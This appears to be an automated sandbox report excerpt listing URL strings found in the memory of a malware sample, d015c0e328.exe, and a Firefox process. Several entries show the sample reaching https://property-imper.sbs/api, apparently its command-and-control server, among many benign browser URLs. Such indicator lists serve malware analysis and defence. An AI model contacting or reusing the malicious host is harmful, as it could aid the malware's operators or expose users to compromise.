Source: d015c0e328.exe, 00000016.00000003.2778454117.0000000000546000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2846679937.000000000054D000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2747587637.0000000000560000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2751030367.000000000054D000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2683265747.000000000054B000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2754496805.000000000054D000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2959293839.00000000004FF000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2955205423.0000000000568000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2719643130.0000000000548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api
Source: d015c0e328.exe, 00000016.00000003.2747176932.0000000000549000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2747587637.0000000000560000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api%
Source: d015c0e328.exe, 00000007.00000003.2797016567.000000000119E000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2587943493.00000000011A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api(
Source: d015c0e328.exe, 00000016.00000003.2779399309.0000000000560000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2779060726.000000000054A000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2779637846.0000000000561000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2778454117.0000000000546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api3
Source: d015c0e328.exe, 00000016.00000003.2857900972.0000000000560000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2874062925.0000000000560000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2955205423.0000000000568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apiN
Source: d015c0e328.exe, 00000007.00000003.2797016567.000000000119E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apiO
Source: d015c0e328.exe, 0000000A.00000003.2836656383.0000000001654000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2710867732.0000000001653000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2745481964.0000000001656000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2779399309.0000000000560000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2779060726.000000000054A000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2779637846.0000000000561000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2778454117.0000000000546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apid
Source: d015c0e328.exe, 00000007.00000003.2798934875.0000000001131000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000002.2905216851.0000000001128000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2693329851.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apie
Source: d015c0e328.exe, 00000016.00000003.2747176932.0000000000549000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2747587637.0000000000560000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apik
Source: d015c0e328.exe, 00000007.00000003.2797016567.000000000119E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apiu
Source: d015c0e328.exe, 00000007.00000003.2486481413.00000000059F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/j
Source: d015c0e328.exe, 00000007.00000003.2539848625.00000000011AD000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2539786795.000000000119E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/p
Source: d015c0e328.exe, 00000007.00000003.2799971962.0000000001111000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2840231634.00000000015B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs:443/api
Source: d015c0e328.exe, 0000000A.00000003.2840231634.00000000015B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs:443/api0
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 00000019.00000002.2796475486.0000020997E6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2&
Source: firefox.exe, 00000019.00000002.2859374693.00000209A5B3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=AIzaSyC7jsptDS
Source: firefox.exe, 00000019.00000002.2796475486.0000020997E6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 00000019.00000002.2796475486.0000020997E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/experiments/screenshots/api.js
Source: firefox.exe, 00000019.00000002.2859374693.00000209A5BE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.comPV
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.commedia.autoplay.blocking_policytestPermissionFromPrincipalbrowser.migr
Source: firefox.exe, 00000019.00000002.2934623344.00000209A9270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com
Source: firefox.exe, 00000019.00000002.2859374693.00000209A5B3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 00000019.00000002.2934623344.00000209A9280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000019.00000002.2859374693.00000209A5B3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2Deferred
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2https://
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svgwebcompat-reporter
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 00000019.00000002.2916177272.00000209A895B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3EB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3030128647.00000209AFD40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000019.00000002.3040511865.00000209B008F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000019.00000003.2724088412.00000209AB7A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2859374693.00000209A5BA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/userpreffedRegionsBlockString
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/userpreffedRegionsBlockStringgetValue/preffedBlockRegions
Source: firefox.exe, 00000019.00000002.2894451888.00000209A855F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2893910824.00000209A8403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-jsUnexpected
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: d015c0e328.exe, 00000007.00000003.2457329723.0000000005A52000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2584518117.0000000005D92000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2686767650.00000000053DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: firefox.exe, 00000019.00000002.2796475486.0000020997E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2859374693.00000209A5BE5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 00000019.00000002.2963487324.00000209AA2A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: d015c0e328.exe, 00000016.00000003.2752859733.00000000054A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000019.00000002.2826386479.00000209A3D12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: firefox.exe, 00000019.00000002.2870979086.00000209A5F90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 00000019.00000002.2870979086.00000209A5F90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 00000019.00000002.3000812741.00000209AB105000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settingsgetCanApplyUpdates
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causesInternalTestingProfileMigra
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translationThe
Source: d015c0e328.exe, 00000016.00000003.2752859733.00000000054A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: d015c0e328.exe, 00000007.00000003.2457329723.0000000005A50000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2486562795.0000000005A49000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2486770595.0000000005A49000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2486345377.0000000005A49000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2584626165.0000000005D89000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2611246488.0000000005D89000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2584518117.0000000005D90000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2611022364.0000000005D89000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2716485397.00000000053D5000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2715235535.00000000053D5000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2687503121.00000000053D5000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2686767650.00000000053DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: d015c0e328.exe, 00000007.00000003.2457473605.0000000005A24000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2584626165.0000000005D64000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2687503121.00000000053B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: d015c0e328.exe, 00000007.00000003.2457329723.0000000005A50000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2486562795.0000000005A49000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2486770595.0000000005A49000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2486345377.0000000005A49000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2584626165.0000000005D89000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2611246488.0000000005D89000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2584518117.0000000005D90000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2611022364.0000000005D89000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2716485397.00000000053D5000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2715235535.00000000053D5000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2687503121.00000000053D5000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2686767650.00000000053DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: d015c0e328.exe, 00000007.00000003.2457473605.0000000005A24000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2584626165.0000000005D64000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2687503121.00000000053B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: firefox.exe, 00000019.00000002.3039369779.00000209AFF6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2744622132.00000209AFF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2718772825.00000209AFF6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 00000019.00000002.2870979086.00000209A5F90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 00000019.00000002.2870979086.00000209A5F90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 00000019.00000002.2870979086.00000209A5F90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 00000019.00000002.2870979086.00000209A5F90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 00000019.00000002.2796475486.0000020997E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.combrowser.urlbar.openViewOnFocusgeckoprofiler
Source: firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023823448.00000209AFB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 00000019.00000002.3032731152.00000209AFE03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2928881374.00000209A8F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 00000019.00000002.3039369779.00000209AFF6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2744622132.00000209AFF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2712404213.00000209AFF73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2718772825.00000209AFF6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 00000019.00000002.2893910824.00000209A845B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 00000019.00000002.3032731152.00000209AFE03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 00000019.00000003.2728645310.00000209A8464000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2928881374.00000209A8F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2893910824.00000209A845B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 00000019.00000002.2991507780.00000209AA355000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023823448.00000209AFB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: d015c0e328.exe, 00000016.00000003.2754496805.0000000000546000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2859374693.00000209A5BA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2804534100.00000209A34AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 00000019.00000002.2916177272.00000209A89AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000019.00000002.3014477171.00000209AB77B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/moz-extension://31bc1824-4b8f-4b01-9a19-e1bd57d39
Source: firefox.exe, 00000019.00000002.3032731152.00000209AFE03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 00000019.00000002.3032731152.00000209AFE03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023823448.00000209AFB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2928881374.00000209A8F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023823448.00000209AFB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 00000019.00000002.2928881374.00000209A8F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023823448.00000209AFB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 00000019.00000002.3023823448.00000209AFB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: firefox.exe, 00000019.00000002.3032731152.00000209AFE03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: d015c0e328.exe, 00000007.00000003.2456238673.0000000005A3D000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2456369862.0000000005A3B000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2582916048.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2583248555.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2683766739.0000000005398000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2682542124.00000000053AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: d015c0e328.exe, 00000016.00000003.2754496805.0000000000546000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2859374693.00000209A5BA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2804534100.00000209A34AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: firefox.exe, 00000019.00000002.2928881374.00000209A8F52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 00000019.00000002.2928881374.00000209A8F89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 00000019.00000002.3052548159.00000209B0303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 00000019.00000003.2728645310.00000209A8464000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2893910824.00000209A845B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search6491a2b8-c487-4798-a817-a0fd08b40ee2c0b26c0e-63e6-4235-b2ce-5f
Source: firefox.exe, 00000019.00000002.2826386479.00000209A3DD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: d015c0e328.exe, 00000007.00000003.2456238673.0000000005A3D000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2456369862.0000000005A3B000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2582916048.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2583248555.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2683766739.0000000005398000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2682542124.00000000053AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeServiceList
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000019.00000002.2893910824.00000209A845B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 00000019.00000003.2728645310.00000209A8464000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2893910824.00000209A845B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchimages/duckduckgo-com
Source: firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2928881374.00000209A8F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
